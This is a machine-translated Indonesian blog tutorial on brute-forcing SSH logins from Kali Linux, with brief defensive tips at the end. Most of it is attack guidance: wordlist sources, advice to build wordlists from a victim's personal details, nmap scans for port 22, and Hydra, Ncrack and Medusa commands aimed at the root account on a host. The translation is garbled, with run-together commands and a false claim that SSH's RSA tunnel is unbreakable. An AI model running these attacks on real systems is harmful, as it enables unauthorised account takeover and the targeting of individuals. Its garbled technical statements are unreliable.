Halo teman-teman bagaimana kabarmu hari ini? Saya harap Anda lakukan besar dan hacking hal-hal yang Anda tidak tahu . Jadi orang-orang dalam artikel ini kita akan berjalan sekitar Brute Force SSH dan bagaimana Anda dapat melakukannya di Kali Linux . Tutorial ini akan menjadi benar-benar sederhana dan akan menjelaskan segala sesuatu yang perlu Anda ketahui.
Dan untuk semua orang BugBounty orang Berburu di luar sana saya ingin memberitahu Anda bahwa itu adalah laporan bug berlaku sebagai banyak peneliti tidak membayar banyak perhatian untuk mencoba ini serangan dan tidak pernah melaporkan ini jadi jika Anda membaca keluar ini ingat untuk memeriksa masalah ini dan membuat laporan :).
Apa SSH?
SSH adalah singkatan yang merupakan singkatan dari Secure Shell, yang menyediakan akses shell aman untuk mesin remote. Hal ini memungkinkan orang untuk terhubung ke komputer lokal dan remote, dan itu datang mudah dipasang di Linux / UNIX dan dapat diinstal pada mesin Windows juga. SSH juga mengacu suite utilitas yang menerapkan protokol atau protokol jaringan cryptogr1aphic.Penggunaan SSH?
SSH menyediakan otentikasi yang kuat dan mengamankan komunikasi data terenkripsi antara dua komputer yang menghubungkan melalui jaringan tidak aman seperti Internet. Hal ini digunakan oleh semua sistem dan server administrator untuk terhubung ke mesin remote dan mengeksekusi perintah sistem, bergerak, membuat dan mengedit file yang berbeda pada mesin remote.Menggunakan RSA algoritma enkripsi yang membuat terowongan bisa dipecahkan antara komputer klien dan komputer remote dan seperti yang kita semua tahu bahwa tidak ada yang bisa dipecahkan .
Apa Brute Force: -
serangan brute force bekerja dengan menguji setiap kemungkinan kombinasi yang dapat digunakan sebagai password oleh pengguna dan kemudian mengujinya untuk melihat apakah itu adalah password yang benar. Untuk melihat apakah password benar atau tidak itu memeriksa kesalahan apapun dalam respon dari server.Sebagai panjang password meningkat, jumlah waktu yang digunakan untuk menemukan password yang benar juga meningkat dengan cepat. Itu berarti bahwa password singkat cukup mudah retak.
Brute Force SSH: -
Jadi sekarang Anda tahu apa serangan brute force adalah, mari kita lanjutkan ke langkah berikutnya. Selama artikel ini, kita akan menggunakan serangan kamus untuk mendapatkan username dan password untuk user ssh terpencil.Dalam rangka untuk melakukan serangan ini, Anda akan memerlukan wordlist yang memiliki kombinasi yang baik dari kata-kata dan umum digunakan sandi dan alat-alat yang kita akan mencoba kombinasi yang berbeda dengan masing-masing password.
Daftar kata: -
Sebuah sumber yang baik untuk daftar kata dapat ditemukan di sini packetstorm .Ada juga cara lain untuk menciptakan daftar kata Anda sendiri seperti jika Anda tahu korban yang dapat Anda gunakan ada informasi seperti / namanya, tanggal lahir, nama orang tua, anak-anak, hewan peliharaan dan informasi lain yang berkaitan dengan korban dan bisa digunakan terhadap mereka.
Contoh password yang mungkin seperti ini “ david0512 ” di mana david ada ayah nama, 05 bulan 12 tahun ada kelahiran.
Sebuah program yang baik yang memungkinkan Anda untuk mengkompilasi data ini ke wordlist adalah Ex0dus_0x ini D0xk1t , yang dapat Anda temukan di sini .
Anda juga dapat men-download daftar kata lain dari sini: -
wget http://zeldor.biz/other/bruteforce/passlist.txt
wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2
https://hashes.org/crackers.phphttps://wiki.skullsecurity.org/Passwords
Dan jika Anda menggunakan Kali Linux maka Anda juga dapat menemukan wordlist standar di sini: -
/usr/share/wordlists/rockyou.txt.gz
Scanning Untuk server SSH menggunakan NMAP: -
Setelah menyiapkan alat menyerang Anda langkah berikutnya untuk mengambil setelah itu adalah untuk menemukan server yang menjalankan SSH. Apa yang bisa kita lakukan untuk menemukan yang menggunakan NMAP untuk memindai port yang terbuka 22 sebagai layanan SSH mendengarkan pada port 22.Untuk menemukan server yang menjalankan SSH lokal kita akan memindai seluruh jaringan 192.168.1.0/24 di sini adalah perintah NMAP yang dapat Anda gunakan untuk memindai semua komputer.
nmap 192.168.1.0/24 -p22
Menjalankan Pada remote Server: -
Sekarang jika kita ingin menguji serangan di server jauh maka Anda harus memindai server untuk port yang terbuka seperti layanan SSH di sini adalah bagaimana Anda dapat memindai server remote menggunakan NMAP.nmap <Target> -p22
Cara Brute Force SSH: -
Jadi setelah semua pembicaraan itu saya berharap bahwa Anda bosan sampai mati
ini
adalah bagian kita semua sedang menunggu (termasuk saya: p) jadi
sekarang saya akan berbicara tentang alat-alat yang akan kita gunakan
untuk melakukan serangan brute force.Instalasi Hydra: -
Jadi alat pertama kita akan melihat pada alat yang paling umum dan kuat Hydra. Jika Anda menggunakan Kali Linux Anda sudah akan memiliki akses ke alat ini. Ini harus versi, GUI dan baris perintah kita akan melihat pada keduanya.Berikut adalah bagaimana Anda bisa mendapatkannya diinstal pada kebanyakan Debian Linux.
sudo apt-get install hydra hydra-gtk
Ini dapat diinstal dengan repositori Launchpad ppa: pi-rho / keamanan
sudo add-apt-repository ppa:pi-rho/security
sudo apt-get update
sudo apt-get install hydraCara Alternatif: -
Metode alternatif yang dapat Anda gunakan untuk menginstal alat ini adalah ini: -Sekarang Anda dapat menggunakan alat ini untuk melakukan serangan.wget http://www.thc.org/releases/hydra-8.3.tar.gztar -xvzf hydra-8.3.tar.gzcd hydra-8.3./configuremakemake install
Berikut adalah perintah yang akan Anda gunakan untuk menggunakan Hydra.
root@kali:~/Desktop# hydra -l root -P '/root/Desktop/500-worst-passwords.txt' 192.168.1.31 ssh
Seperti yang Anda lihat bahwa Hydra telah berhasil retak password dan Anda dapat menggunakannya untuk login ke sistem.
NCrack: -
Alat kedua yang akan kita gunakan disebut NCrack itu juga termasuk di Kali Linux dan Anda juga dapat menginstalnya pada lain Debian Distrowget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz
tar -xvzf ncrack-0.5.tar.gz
cd ncrack-0.5
./configure
make
make installroot@kali:~/Desktop# ncrack -p 22 --user root -P '/root/Desktop/500-worst-passwords.txt' 192.168.1.31
Medusa: -
Ini adalah alat terakhir yang dapat digunakan untuk brute force login Anda dapat menginstalnya dengan mengikuti langkah berikut: -wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz
tar -xvzf medusa-2.0.tar.gz
cd medusa-2.0
./configure
make
make installroot@kali:~/Desktop# medusa -u root -P '/root/Desktop/500-worst-passwords.txt' -h 192.168.1.31 -M sshBagaimana Melindungi dari serangan ini?
Metode yang paling direkomendasikan yang harus Anda gunakan untuk melindungi dari serangan ini adalah: -- Jalankan SSH pada port non-standar. (Lain kemudian 22)
- Blok login SSH untuk akar pengguna.
- Gunakan fail2ban. (Akan menutupi dalam posting masa depan)
- Batas upaya login user.
Apa yang kita Learned !!!!
Jadi apa yang kita pelajari dari semua ini? Jangan pernah menggunakan password yang lemah serius tidak pernah menggunakan password yang lemah.Dan di sisi lain, kita telah belajar bagaimana Anda dapat menggunakan alat yang berbeda untuk menguji dan mengeksploitasi masalah ini.